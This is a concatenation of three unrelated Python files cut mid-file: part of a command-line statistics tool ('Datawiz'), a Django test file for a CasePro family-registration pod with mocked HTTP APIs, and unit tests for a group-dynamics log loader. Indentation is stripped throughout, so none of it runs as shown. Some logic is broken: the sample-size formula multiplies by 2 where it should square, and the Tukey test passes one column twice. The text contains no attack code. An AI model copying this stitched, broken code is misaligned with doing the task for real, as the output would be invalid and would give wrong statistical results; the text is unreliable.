<TwoSided> Is the observed X different than our expectation?
<LeftSided> Is the observed X smaller than our expectation?
<RightSided> Is the observed X bigger than our expectation? \n
""")
if (switch == "LeftSided"):
return "LeftSided"
elif (switch == "RightSided"):
return "RightSided"
else:
return "TwoSided"
def pval_check_ttest(tstat, pval, sig, test_side):
if (test_side == "LeftSided"):
if ((pval / 2) < sig and tstat < 0):
print("P-Value is: " + str((pval / 2)) + ". T-Value is: " + str(tstat) + ". Result is significant, Boss!")
print("This means, that the observed X is smaller than our expectation, boss!")
else:
print("P-Value is: " + str((pval / 2)) + ". T-Value is: " + str(tstat) + ". Result is insignificant, Boss!")
print("This means, that the observed X is not smaller than our expectation, boss!")
elif (test_side == "RightSided"):
if ((pval / 2) < sig and tstat > 0):
print("P-Value is: " + str((pval / 2)) + ". T-Value is: " + str(tstat) + ". Result is significant, Boss!")
print("This means, that the observed X is bigger than our expectation, boss!")
else:
print("P-Value is: " + str((pval / 2)) + ". T-Value is: " + str(tstat) + ". Result is insignificant, Boss!")
print("This means, that the observed X is not bigger than our expectation, boss!")
else:
if (pval < sig):
print("P-Value is: " + str(pval) + ". Result is significant, Boss!")
print("This means, that the observed X is different than our expectation, boss!")
else:
print("P-Value is: " + str(pval) + ". Result is insignificant, Boss!")
print("This means, that the observed X is not different than our expectation, boss!")
def pval_check(pval, sig):
if (pval < sig):
print("P-Value is: " + str(pval) + ". Result is significant, Boss!")
print("This means, that the observed values are different, boss! \n")
else:
print("P-Value is: " + str(pval) + ". Result is insignificant, Boss!")
print("This means, that the observed values are not different, boss! \n")
def corr(x, y):
corr, p = stats.pearsonr(df[x], df[y])
print(corr)
def ttest_1samp(sample_distribution, expected_mean, sig, test_side):
tstat, pval = stats.ttest_1samp(df[sample_distribution], expected_mean)
pval_check_ttest(tstat, pval, sig, test_side)
def ttest_2samp(sample_a, sample_b, sig, test_side):
tstat, pval = stats.ttest_ind(df[sample_a], df[sample_b])
pval_check_ttest(tstat, pval, sig, test_side)
def anova(sample_a, sample_b, sample_c, sig):
fstat, pval = stats.f_oneway(df[sample_a], df[sample_b], df[sample_c])
pval_check(pval, sig)
def tukey(sample_a, sample_b, sig):
tukey_results = pairwise_tukeyhsd(df[sample_a], df[sample_a], sig)
print(tukey_results)
def chi(sample_a, sample_b, sig):
xtable = pd.crosstab(df[sample_a], df[sample_b])
chi2, pval, dof, expected = stats.chi2_contingency(xtable)
pval_check(pval, sig)
def bino(successes, expected_probability, sig):
suc_res = np.sum(df[successes] == 1)
n = len(df[successes])
pval = stats.binom_test(suc_res, n, p = expected_probability)
pval_check(pval, sig)
######### MACHINE INTELLIGENCE #########
def linreg(x, y, predvalue):
line_fitter = LinearRegression()
x_in = df[x].values.reshape(-1, 1)
y_in = df[y].values.reshape(-1, 1)
line_fitter.fit(x_in, y_in)
a = round(line_fitter.intercept_[0], 2)
b = round(line_fitter.coef_[0][0], 2)
print("\nLinear Regression formula for this model is:")
print("Y = " + str(a) + " + " + str(b) + "x \n")
pred_in = np.array(predvalue).reshape(-1, 1)
y_predicted = round(line_fitter.predict(pred_in)[0][0], 2)
print("With " + str(predvalue) + " (" + x + ") we expect " + str(y_predicted) + " (" + y + "), Boss!")
def svm_run(sample_a, predvalue):
y = df[sample_a]
X = df.drop(columns = sample_a, axis = 1)
SVM = svm.LinearSVC()
SVM.fit(X, y)
print("\nSVM is fit, Boss!\n")
print("Mean accuracy of the training data is:")
score = SVM.score(X,y)
print(round(score, 4))
pred = SVM.predict(predvalue)
print("\nPredicted label is:")
print(str(int(pred[0])) + "\n")
def cluster(clusters):
X = df.values
kmeans = KMeans(n_clusters = clusters)
kmeans.fit(X)
print(kmeans.cluster_centers_)
to_plot = input("\nBoss, do you want see the plot for these clusters? (Yes / No) \n")
if (to_plot == "Yes"):
plt.scatter(X[:,0],X[:,1], c = kmeans.labels_)
columns = df.columns
plt.xlabel(columns[0])
plt.ylabel(columns[1])
plt.title(columns[0] + " vs " + columns[1] + " Cluster")
plt.show()
######### BONUS #########
def calc_samplesize(std, aim, baseline):
z = 1.96
sig = 0.05
power = 0.8416
std = std
mde = (aim - baseline) / 100
print("\nMinimum detectable effect is " + str(mde * 100) + " %.")
n = ( 2 * ((z + power) * 2) * ((std) * 2) ) / ( (mde) * 2 )
n = round(n)
print("Sample size of " + str(n) + " is required, Boss!")
######### ENGINE #########
def help():
print("""
*********************************************************************************************************************************
* * * * * * ◊ DATAWIZ ◊ * * * * * *
* * v1.0 ◊ * *
* *
* by <NAME> – Project Manager for Digital Marketing *
* www.davidweicht.de *
*********************************************************************************************************************************
* *
* COMMANDS ______________________________________________________________________________________________________________ *
* *
* *
* _BASICS _PLOTS _JUGGLEZ *
* *
* <Info> Data Meta <Plot> Lineplot <New> New DataFrame *
* <Head> Data Heads <Scat> Scatterplot <Reload> Reload Original DataFrame *
* <Tail> Data Tails <Heat> Heatmap <Delete> Delete Column(s) *
* <Desc> Descriptive Stats <Box> Boxplot <Pivot> Pivot DataFrame *
* <Count> Count Values <Violin> Violinplot <Cross> Create Crosstable *
* <CountM> Count Missing Values <Hist> Histogram <DropD> Drop Duplicates *
* <Pair> Pairplot <DropN> Drop NaN *
* <FillN> Fill NaN *
* <Norm> Normalize DataFrame *
* *
* *
* _ANALYSIS _MACHINE INTELLIGENCE _BONUS *
* *
* <Corr> Correlation <LinR> Linear Regression <Size> Sample Size Calculator *
* <Test1> T-Test (One Sample) <SVM> SVM (Two Samples) *
* <Test2> T-Test (Two Samples) <Cluster> K-Means Clustering *
* <Anova> Anova (Three Samples) *
* <Tukey> Tukey-Test *
* <Chi2> Chi-Square-Test *
* <Bino> Binomial Test *
* *
* *
* <Help> Commands *
* <Quit> Quit Datawiz *
* *
*********************************************************************************************************************************
""")
def commander(cmd):
global df, df_save
if (cmd == "Info" or cmd == "info"):
info()
elif (cmd == "Head" or cmd == "head"):
head()
elif (cmd == "Tail" or cmd == "tail"):
tail()
elif (cmd == "Desc" or cmd == "desc"):
desc()
elif (cmd == "Count" or cmd == "count"):
count()
elif (cmd == "CountM" or cmd == "countm"):
count_missing()
elif (cmd == "Plot" or cmd == "plot"):
y = input("Which column to plot as Y, Boss? \n")
plot(y)
elif (cmd == "Scat" or cmd == "scat"):
x = input("Which column to plot as X, Boss? \n")
y = input("Which column to plot as Y, Boss? \n")
scat(x, y)
elif (cmd == "Heat" or cmd == "heat"):
x = input("Which column to plot as X, Boss? \n")
y = input("Which column to plot as Y, Boss? \n")
z = input("Which column to plot as Z, Boss? \n")
heat(x, y, z)
elif (cmd == "Box" or cmd == "box"):
y = input("Which column(s) to plot, Boss? (All for all columns.) \n")
box(y)
elif (cmd == "Violin" or cmd | |
<reponame>praekelt/casepropods.family_connect_registration<filename>casepropods/family_connect_registration/tests.py
import json
import responses
from django.apps import apps
from casepro.cases.models import Case
from casepro.test import BaseCasesTest
from .plugin import RegistrationPodConfig, RegistrationPod
class RegistrationPodTest(BaseCasesTest):
def setUp(self):
super(RegistrationPodTest, self).setUp()
self.contact = self.create_contact(self.unicef, 'test_id', "Mother")
self.msg1 = self.create_message(
self.unicef, 123, self.contact, "Hello")
self.case = Case.get_or_open(
self.unicef, self.user1, self.msg1, "Summary", self.moh)
self.url = 'http://hub/api/v1/registrations/?mother_id=' + \
self.contact.uuid
self.identity_store_url = ('http://identity-store/api/v1/'
'identities/{0}/').format(self.contact.uuid)
self.subscriptions_url = (
'http://sbm/api/v1/subscriptions/?active=True&identity={0}'.format(
self.contact.uuid)
)
self.messageset_url = 'http://sbm/api/v1/messageset/'
self.engage_url = (
'https://engage.example.org/v1/contacts'
)
self.create_change_url = 'http://hub/api/v1/change/'
self.pod = RegistrationPod(
apps.get_app_config('family_connect_registration_pod'),
RegistrationPodConfig({
'index': 23,
'title': "My registration Pod",
'hub_api_url': "http://hub/api/v1/",
'hub_token': "test_<PASSWORD>",
'identity_store_api_url': 'http://identity-store/api/v1/',
'identity_store_token': 'identity-store-token',
'stage_based_messaging_url': 'http://sbm/api/v1/',
'stage_based_messaging_token': 'sbm-token',
'engage_url': 'https://engage.example.org/v1/contacts',
'engage_token': '<PASSWORD>',
'contact_id_fieldname': "mother_id",
'field_mapping': [
{"field": "mama_name", "field_name": "Mother Name"},
{"field": "mama_surname",
"field_name": "Mother Surname"},
{"field": "last_period_date",
"field_name": "Date of last period"},
{"field": "language",
"field_name": "Language Preference"},
{"field": "mama_id_type", "field_name": "ID Type"},
{"field": "mama_id_no", "field_name": "ID Number"},
{"field": "msg_receiver",
"field_name": "Message Receiver"},
{"field": "receiver_id", "field_name": "Receiver ID"},
{"field": "hoh_name",
"field_name": "Head of Household Name"},
{"field": "hoh_surname",
"field_name": "Head of Household Surname"},
{"field": "hoh_id",
"field_name": "Head of Household ID"},
{"field": "operator_id", "field_name": "Operator ID"},
{"field": "msg_type",
"field_name": "Receives Messages As"},
]
}))
def registration_callback_no_matches(self, request):
headers = {'Content-Type': "application/json"}
resp = {
'next': None,
'previous': None,
'results': []
}
return (200, headers, json.dumps(resp))
def registration_callback_one_match(self, request):
headers = {'Content-Type': "application/json"}
resp = {
"next": None,
"previous": None,
"results": [{
"id": "b03d0ba0-3baf-4acb-9943-f9ff89ef2412",
"stage": "postbirth",
"mother_id": "test_id",
"validated": True,
"data": {
"hoh_id": "hoh00001-63e2-4acc-9b94-26663b9bc267",
"receiver_id": "hoh00001-63e2-4acc-9b94-26663b9bc267",
"operator_id": "hcw00001-63e2-4acc-9b94-26663b9bc267",
"language": "eng_UG",
"msg_type": "text",
"msg_receiver": "head_of_household",
"mama_id_no": "12345",
"last_period_date": "20150202",
"mama_surname": "zin",
"mama_id_type": "ugandan_id",
"hoh_name": "bob",
"mama_name": "sue"},
"source": 1,
"created_at": "2016-07-27T15:41:55.102172Z",
"updated_at": "2016-07-27T15:41:55.102200Z",
"created_by": 1,
"updated_by": 1
}]}
return (200, headers, json.dumps(resp))
def subscription_callback_no_matches(self, request):
headers = {'Content-Type': "application/json"}
resp = {
"next": None,
"previous": None,
"results": []
}
return (200, headers, json.dumps(resp))
def subscription_callback_one_match(self, request):
headers = {'Content-Type': "application/json"}
resp = {
"next": None,
"previous": None,
"results": [
{
"id": "2a67cc6a-9aec-407c-8b85-9565045843b6",
"identity": self.contact.uuid,
"messageset": 1,
"active": True,
"completed": False,
"schedule": 1,
"process_status": 0,
"created_at": "2018-02-19T13:00:08.926441Z",
"updated_at": "2018-02-19T13:00:09.016233Z",
},
]
}
return (200, headers, json.dumps(resp))
def messageset_callback_no_matches(self, request):
headers = {'Content-Type': "application/json"}
resp = {
"next": None,
"previous": None,
"results": []
}
return (200, headers, json.dumps(resp))
def messageset_callback_one_match(self, short_name):
def callback(request):
headers = {'Content-Type': "application/json"}
resp = {
"next": None,
"previous": None,
"results": [
{
"id": 1,
"short_name": short_name,
"content_type": "text",
"notes": "",
"next_set": 2,
"default_schedule": 1,
"created_at": "2016-08-05T15:46:44.848890Z",
"updated_at": "2016-08-05T15:48:57.469151Z"
},
]
}
return (200, headers, json.dumps(resp))
return callback
def engage_callback(self, exists):
def callback(response):
headers = {'Content-Type': "application/json"}
resp = {
'contacts': [
{
"input": "+27820000000",
"status": "valid" if exists else "invalid",
"wa_id": "27820000000"
}
]
}
return (200, headers, json.dumps(resp))
return callback
def identity_callback(self, request):
headers = {'Content-Type': "application/json"}
resp = {
'id': 'identity-id',
'details': {
'addresses': {
'msisdn': {
'+27820000000': {},
},
},
},
}
return (200, headers, json.dumps(resp))
def test_lookup_field_from_one_dictionary(self):
field = 'test-field'
list_one = [{'test-field': 'first-value'}]
self.assertEqual(
self.pod.lookup_field_from_dictionaries(field, list_one),
'first-value'
)
def test_lookup_field_from_two_dictionaries(self):
field = 'test-field'
list_one = [
{'test-field': 'first-value'},
{'test-field': 'second-value'},
]
self.assertEqual(
self.pod.lookup_field_from_dictionaries(field, list_one),
'first-value'
)
def test_lookup_field_from_two_dictionaries_no_match(self):
field = 'test-field'
list_one = [{'different-field': 'first-value'}]
list_two = [{'test-field': 'second-value'}]
self.assertEqual(
self.pod.lookup_field_from_dictionaries(field, list_one, list_two),
'second-value'
)
@responses.activate
def test_read_data_no_registrations(self):
# Add callback
responses.add_callback(
responses.GET, self.url,
callback=self.registration_callback_no_matches,
match_querystring=True, content_type="application/json")
responses.add(
responses.GET, self.identity_store_url,
json={'details': {}},
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.subscriptions_url,
callback=self.subscription_callback_no_matches,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.messageset_url,
callback=self.messageset_callback_no_matches,
match_querystring=True, content_type="application/json")
result = self.pod.read_data({'case_id': self.case.id})
self.assertEqual(result, {"items": [
{"name": "<NAME>", "value": "Unknown"},
{"name": "<NAME>", "value": "Unknown"},
{"name": "Date of last period", "value": "Unknown"},
{"name": "Language Preference", "value": "Unknown"},
{"name": "ID Type", "value": "Unknown"},
{"name": "ID Number", "value": "Unknown"},
{"name": "Message Receiver", "value": "Unknown"},
{"name": "Receiver ID", "value": "Unknown"},
{"name": "Head of Household Name", "value": "Unknown"},
{"name": "Head of Household Surname", "value": "Unknown"},
{"name": "Head of Household ID", "value": "Unknown"},
{"name": "Operator ID", "value": "Unknown"},
{"name": "Receives Messages As", "value": "Unknown"},
], 'actions': []})
@responses.activate
def test_read_data_one_registration(self):
# Add callback
responses.add_callback(
responses.GET, self.url,
callback=self.registration_callback_one_match,
match_querystring=True, content_type="application/json")
responses.add(
responses.GET, self.identity_store_url,
json={'details': {}},
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.subscriptions_url,
callback=self.subscription_callback_no_matches,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.messageset_url,
callback=self.messageset_callback_no_matches,
match_querystring=True, content_type="application/json")
result = self.pod.read_data({'case_id': self.case.id})
self.assertEqual(result, {"items": [
{"name": "<NAME>", "value": "sue"},
{"name": "Mother Surname", "value": "zin"},
{"name": "Date of last period", "value": "20150202"},
{"name": "Language Preference", "value": "eng_UG"},
{"name": "ID Type", "value": "ugandan_id"},
{"name": "ID Number", "value": "12345"},
{"name": "Message Receiver", "value": "head_of_household"},
{"name": "Receiver ID", "value":
"hoh00001-63e2-4acc-9b94-26663b9bc267"},
{"name": "Head of Household Name", "value": "bob"},
{"name": "Head of Household Surname", "value": "Unknown"},
{"name": "Head of Household ID",
"value": "hoh00001-63e2-4acc-9b94-26663b9bc267"},
{"name": "Operator ID", "value":
"hcw00001-63e2-4acc-9b94-26663b9bc267"},
{"name": "Receives Messages As", "value": "text"},
], 'actions': []})
@responses.activate
def test_can_get_data_from_identity_store(self):
responses.add(
responses.GET, self.url,
json={'results': []},
match_querystring=True, content_type="application/json")
responses.add(
responses.GET, self.identity_store_url,
json={
'details': {
'mama_id_no': '12345'
}
},
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.subscriptions_url,
callback=self.subscription_callback_no_matches,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.messageset_url,
callback=self.messageset_callback_no_matches,
match_querystring=True, content_type="application/json")
result = self.pod.read_data({'case_id': self.case.id})
self.assertEqual(len(result['items']), 13)
self.assertEqual(
result['items'][5],
{"name": "ID Number", "value": "12345"},
)
@responses.activate
def test_no_http_request_if_contact_uuid_is_none(self):
contact_no_uuid = self.create_contact(self.unicef, None, "Mother")
message = self.create_message(
self.unicef, 1234, contact_no_uuid, "Hello")
case = Case.get_or_open(
self.unicef, self.user1, message, "Summary", self.moh)
result = self.pod.read_data({'case_id': case.id})
self.assertEqual(len(responses.calls), 0)
self.assertEqual(result, {'items': [], 'actions': []})
@responses.activate
def test_top_level_results_precendence_over_data(self):
responses.add(
responses.GET, self.url,
json={'results': [{
'mama_name': 'sue-toplevel',
'data': {
'mama_name': 'sue-data',
},
}]},
match_querystring=True, content_type='application/json')
responses.add(
responses.GET, self.identity_store_url,
json={'details': {}},
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.subscriptions_url,
callback=self.subscription_callback_no_matches,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.messageset_url,
callback=self.messageset_callback_no_matches,
match_querystring=True, content_type="application/json")
result = self.pod.read_data({'case_id': self.case.id})
self.assertEqual(len(result['items']), 13)
self.assertEqual(
result['items'][0],
{'name': 'Mother Name', 'value': 'sue-toplevel'},
)
@responses.activate
def test_identity_store_precendence_over_hub(self):
responses.add(
responses.GET, self.url,
json={'results': [{
'mama_name': 'sue-hub',
'data': {},
}]},
match_querystring=True, content_type='application/json')
responses.add(
responses.GET, self.identity_store_url,
json={
'details': {
'mama_name': 'sue-identity-store',
},
},
match_querystring=True, content_type='application/json')
responses.add_callback(
responses.GET, self.subscriptions_url,
callback=self.subscription_callback_no_matches,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.messageset_url,
callback=self.messageset_callback_no_matches,
match_querystring=True, content_type="application/json")
result = self.pod.read_data({'case_id': self.case.id})
self.assertEqual(len(result['items']), 13)
self.assertEqual(
result['items'][0],
{'name': 'Mother Name', 'value': 'sue-identity-store'},
)
@responses.activate
def test_multiple_results_uses_first_result(self):
responses.add(
responses.GET, self.url,
json={'results': [{
'mama_name': 'result-one',
'data': {},
}, {
'mama_name': 'result-two',
'data': {},
}]},
match_querystring=True, content_type='application/json')
responses.add(
responses.GET, self.identity_store_url,
json={'details': {}},
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.subscriptions_url,
callback=self.subscription_callback_no_matches,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.messageset_url,
callback=self.messageset_callback_no_matches,
match_querystring=True, content_type="application/json")
result = self.pod.read_data({'case_id': self.case.id})
self.assertEqual(len(result['items']), 13)
self.assertEqual(
result['items'][0],
{'name': '<NAME>', 'value': 'result-one'},
)
@responses.activate
def test_engage_number_not_recognised(self):
"""
If the Engage API returns that the number is not recognised, then there
should be no switch channel action.
"""
responses.add_callback(
responses.GET, self.url,
callback=self.registration_callback_no_matches,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.identity_store_url,
callback=self.identity_callback,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.subscriptions_url,
callback=self.subscription_callback_one_match,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.messageset_url,
callback=self.messageset_callback_one_match('momconnect_prebirth'),
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.POST, self.engage_url,
callback=self.engage_callback(False),
match_querystring=True, content_type="application/json")
result = self.pod.read_data({'case_id': self.case.id})
self.assertEqual(result['actions'], [])
@responses.activate
def test_channel_switch_on_whatsapp(self):
"""
If they're on the WhatsApp messageset, then they should be given the
option to switch to the SMS messageset, even if they're not registered
on WhatsApp
"""
responses.add_callback(
responses.GET, self.url,
callback=self.registration_callback_no_matches,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.identity_store_url,
callback=self.identity_callback,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.subscriptions_url,
callback=self.subscription_callback_one_match,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.messageset_url,
callback=self.messageset_callback_one_match('whatsapp_prebirth'),
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.POST, self.engage_url,
callback=self.engage_callback(False),
match_querystring=True, content_type="application/json")
result = self.pod.read_data({'case_id': self.case.id})
self.assertEqual(result['actions'], [{
'busy_test': 'Processing...',
'confirm': True,
'name': 'Switch to SMS',
'payload': {
'channel': 'sms',
'channel_label': 'SMS',
'identity': 'identity-id',
},
'type': 'switch_channel'
}])
@responses.activate
def test_channel_switch_on_sms(self):
"""
If they're on the sms messageset, then they should be given the option
to switch to the WhatsApp messageset
"""
responses.add_callback(
responses.GET, self.url,
callback=self.registration_callback_no_matches,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.identity_store_url,
callback=self.identity_callback,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.subscriptions_url,
callback=self.subscription_callback_one_match,
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.GET, self.messageset_url,
callback=self.messageset_callback_one_match('momconnect_prebirth'),
match_querystring=True, content_type="application/json")
responses.add_callback(
responses.POST, self.engage_url,
callback=self.engage_callback(True),
match_querystring=True, content_type="application/json")
result = self.pod.read_data({'case_id': self.case.id})
self.assertEqual(result['actions'], [{
'busy_test': 'Processing...',
'confirm': True,
'name': 'Switch to WhatsApp',
'payload': {
'channel': 'whatsapp',
'channel_label': 'WhatsApp',
'identity': 'identity-id',
},
'type': 'switch_channel'
}])
@responses.activate
def test_switch_action_switch_channel(self):
"""
Switching the channel should make the correct request to the
registration API
"""
responses.add(
responses.POST, self.create_change_url,
json={})
result = self.pod.perform_action(
'switch_channel',
{
'channel': 'whatsapp',
'channel_label': 'WhatsApp',
'identity': 'identity-id',
}
)
self.assertEqual(
result, (True, {
"message": "Successfully switched to WhatsApp"
})
)
self.assertEqual(
json.loads(responses.calls[0].request.body),
{
'action': "switch_channel",
'registrant_id': "identity-id",
'data': {
'channel': "whatsapp",
},
}
)
@responses.activate
def test_switch_action_switch_channel_error(self):
"""
An HTTP error when trying to switch the channel should result in an
error being sent back
"""
responses.add(
responses.POST, self.create_change_url,
status=500)
| |
<reponame>omid55/balance_theory_subject_study<gh_stars>0
# Omid55
# Test module for group dynamics logs library.
from __future__ import division, print_function, absolute_import, unicode_literals
import os
import unittest
import numpy as np
import pandas as pd
from pandas import testing as pd_testing
from numpy import testing as np_testing
from parameterized import parameterized
import balance_theory_logs_lib as bt
import utils
class TestRmoveEarlyDuplicates(unittest.TestCase):
# =========================================================================
# ================ remove_early_duplicates ================================
# =========================================================================
def test_remove_early_duplicates(self):
df = pd.DataFrame([
['person1', 'q1', '1', '2020-09-01 20:00:00'],
['person1', 'q1', '4', '2020-09-01 20:00:10'],
['person2', 'q1', '2', '2020-09-01 20:00:15'],
['person1', 'q1', '10', '2020-09-01 20:00:30'],
['person2', 'q2', '9', '2020-09-01 20:00:45'],
['person1', 'q2', '5', '2020-09-01 20:00:50'],
['person2', 'q1', '55', '2020-09-01 20:01:01'],
['person1', 'q1', '360', '2020-09-01 20:01:12']],
columns=['sender', 'question', 'value', 'timestamp'])
df = df.sample(frac=1) # To shuffle all rows and to be out of order.
expected_df = df = pd.DataFrame([
['person2', 'q2', '9', '2020-09-01 20:00:45'],
['person1', 'q2', '5', '2020-09-01 20:00:50'],
['person2', 'q1', '55', '2020-09-01 20:01:01'],
['person1', 'q1', '360', '2020-09-01 20:01:12']],
columns=['sender', 'question', 'value', 'timestamp'])
computed_df = bt.remove_early_duplicates(
df=df, groupby_columns=['sender', 'question'])
pd_testing.assert_frame_equal(expected_df, computed_df)
class TestTeamLogsLoader(unittest.TestCase):
@classmethod
def setUp(cls):
cls.loader = bt.TeamLogsLoader(
directory=os.getcwd() + '/src/testing_log/synthetic1_raw_logs')
@classmethod
def tearDown(cls):
del cls.loader
# =========================================================================
# ================================ _load ==================================
# =========================================================================
def test_load_answers_are_correct(self):
dt = [['pogs01', 'GD_solo_disaster0', '$1000', '2020-09-01 20:32:39'],
['pogs02', 'GD_solo_disaster0', '$2000', '2020-09-01 20:32:42'],
['pogs03', 'GD_solo_disaster0', '$3000', '2020-09-01 20:33:37'],
['pogs01', 'GD_solo_disaster1', '1500', '2020-09-01 20:37:01'],
['pogs02', 'GD_solo_disaster1', '2000', '2020-09-01 20:37:03'],
['pogs03', 'GD_solo_disaster1', '$2500', '2020-09-01 20:37:08'],
['pogs01', 'GD_solo_disaster2', '$2000', '2020-09-01 20:43:12'],
['pogs02', 'GD_solo_disaster2', '$2200', '2020-09-01 20:43:21'],
['pogs03', 'GD_solo_disaster2', '$2100', '2020-09-01 20:43:26'],
['pogs01', 'GD_solo_disaster3', '2000', '2020-09-01 20:48:28'],
['pogs02', 'GD_solo_disaster3', '2000', '2020-09-01 20:48:31'],
['pogs03', 'GD_solo_disaster3', '$2000', '2020-09-01 20:48:34']]
expected_answers = pd.DataFrame(
dt, columns=['sender', 'question', 'value', 'timestamp'])
pd_testing.assert_frame_equal(
expected_answers, self.loader.answers)
def test_load_messages_are_correct(self):
dt = [['pogs01', 'GD_group_disaster1', 'Hey! my name is Sara.', '2020-09-01 20:34:32'],
['pogs02', 'GD_group_disaster1', 'Hi there', '2020-09-01 20:34:38'],
['pogs03', 'GD_group_disaster1', 'sup???', '2020-09-01 20:34:43'],
['pogs01', 'GD_group_disaster1', 'cool', '2020-09-01 20:35:07'],
['pogs01', 'GD_group_disaster2', 'heyyyy', '2020-09-01 20:42:08'],
['pogs03', 'GD_group_disaster2', 'good!', '2020-09-01 20:42:33'],
['pogs02', 'GD_group_disaster3', "let's go ...", '2020-09-01 20:46:25']]
expected_messages = pd.DataFrame(dt,
columns=['sender', 'question', 'text', 'timestamp'])
pd_testing.assert_frame_equal(
expected_messages, self.loader.messages)
def test_load_members_are_correct(self):
np_testing.assert_array_equal(
self.loader.members, np.array(['pogs01', 'pogs02', 'pogs03']))
def test_load_questions_order_are_correct(self):
expected_questions_order = [
'GD_solo_disaster_initial', 'GD_group_disaster1',
'GD_solo_disaster1', 'GD_influence_disaster1',
'GD_appraisal_disaster1', 'GD_group_disaster2',
'GD_solo_disaster2', 'GD_influence_disaster2',
'GD_appraisal_disaster2', 'GD_group_disaster3',
'GD_solo_disaster3', 'GD_influence_disaster3',
'GD_appraisal_disaster3']
np_testing.assert_array_equal(
self.loader.questions_order, expected_questions_order)
def test_load_influences_are_correct(self):
dt = [['pogs01', 'GD_influence_disaster1', [30, 30, 30], '2020-09-01 20:37:40'],
['pogs02', 'GD_influence_disaster1', [0, 100, 0], '2020-09-01 20:37:48'],
['pogs03', 'GD_influence_disaster1', [20, 20, 60], '2020-09-01 20:38:09'],
['pogs01', 'GD_influence_disaster2', [100, 0, 0], '2020-09-01 20:43:50'],
['pogs02', 'GD_influence_disaster2', [30, 30, 30], '2020-09-01 20:43:57'],
['pogs03', 'GD_influence_disaster2', [30, 30, 40], '2020-09-01 20:44:02'],
['pogs01', 'GD_influence_disaster3', [100, 0, 0], '2020-09-01 20:49:22'],
['pogs02', 'GD_influence_disaster3', [30, 40, 30], '2020-09-01 20:49:35'],
['pogs03', 'GD_influence_disaster3', [50, 50, 0], '2020-09-01 20:49:43']]
expected_influences = pd.DataFrame(dt,
columns=['sender', 'question', 'value', 'timestamp'])
pd_testing.assert_frame_equal(
expected_influences, self.loader.influences)
def test_load_appraisals_are_correct(self):
dt = [['pogs01', 'GD_appraisal_disaster1', [0, -1, 2], '2020-09-01 20:39:35'],
['pogs02', 'GD_appraisal_disaster1', [-10, 10, -10], '2020-09-01 20:40:23'],
['pogs03', 'GD_appraisal_disaster1', [-10, 0, 0], '2020-09-01 20:40:37'],
['pogs01', 'GD_appraisal_disaster2', [10, 10, 10], '2020-09-01 20:44:42'],
['pogs02', 'GD_appraisal_disaster2', [-3, -1, -2], '2020-09-01 20:44:52'],
['pogs03', 'GD_appraisal_disaster2', [10, -10, -1], '2020-09-01 20:45:20'],
['pogs01', 'GD_appraisal_disaster3', [10, 10, 10], '2020-09-01 20:50:35'],
['pogs02', 'GD_appraisal_disaster3', [1, 10, 1], '2020-09-01 20:50:56'],
['pogs03', 'GD_appraisal_disaster3', [-10, -10, 10], '2020-09-01 20:51:04']]
expected_appraisals = pd.DataFrame(dt,
columns=['sender', 'question', 'value', 'timestamp'])
pd_testing.assert_frame_equal(
expected_appraisals, self.loader.appraisals)
# =========================================================================
# =============== get_all_groups_info_in_one_dataframe ====================
# =========================================================================
def test_get_all_groups_info_in_one_dataframe(self):
self.loader.team_id = 's10'
teams_log_list = [self.loader]
dt = [['s10', 'asbestos', 'pogs01', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'asbestos', 'pogs02', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'asbestos', 'pogs03', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'disaster', 'pogs01', '$1000', '1500', '$2000', '2000', 30, 30, 30, 100, 0, 0, 100, 0, 0, 0, -1, 2, 10, 10, 10, 10, 10, 10],
['s10', 'disaster', 'pogs02', '$2000', '2000', '$2200', '2000', 0, 100, 0, 30, 30, 30, 30, 40, 30, -10, 10, -10, -3, -1, -2, 1, 10, 1],
['s10', 'disaster', 'pogs03', '$3000', '$2500', '$2100', '$2000', 20, 20, 60, 30, 30, 40, 50, 50, 0, -10, 0, 0, 10, -10, -1, -10, -10, 10],
['s10', 'sports', 'pogs01', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'sports', 'pogs02', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'sports', 'pogs03', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'school', 'pogs01', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'school', 'pogs02', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'school', 'pogs03', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'surgery', 'pogs01', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'surgery', 'pogs02', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'surgery', 'pogs03', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '']]
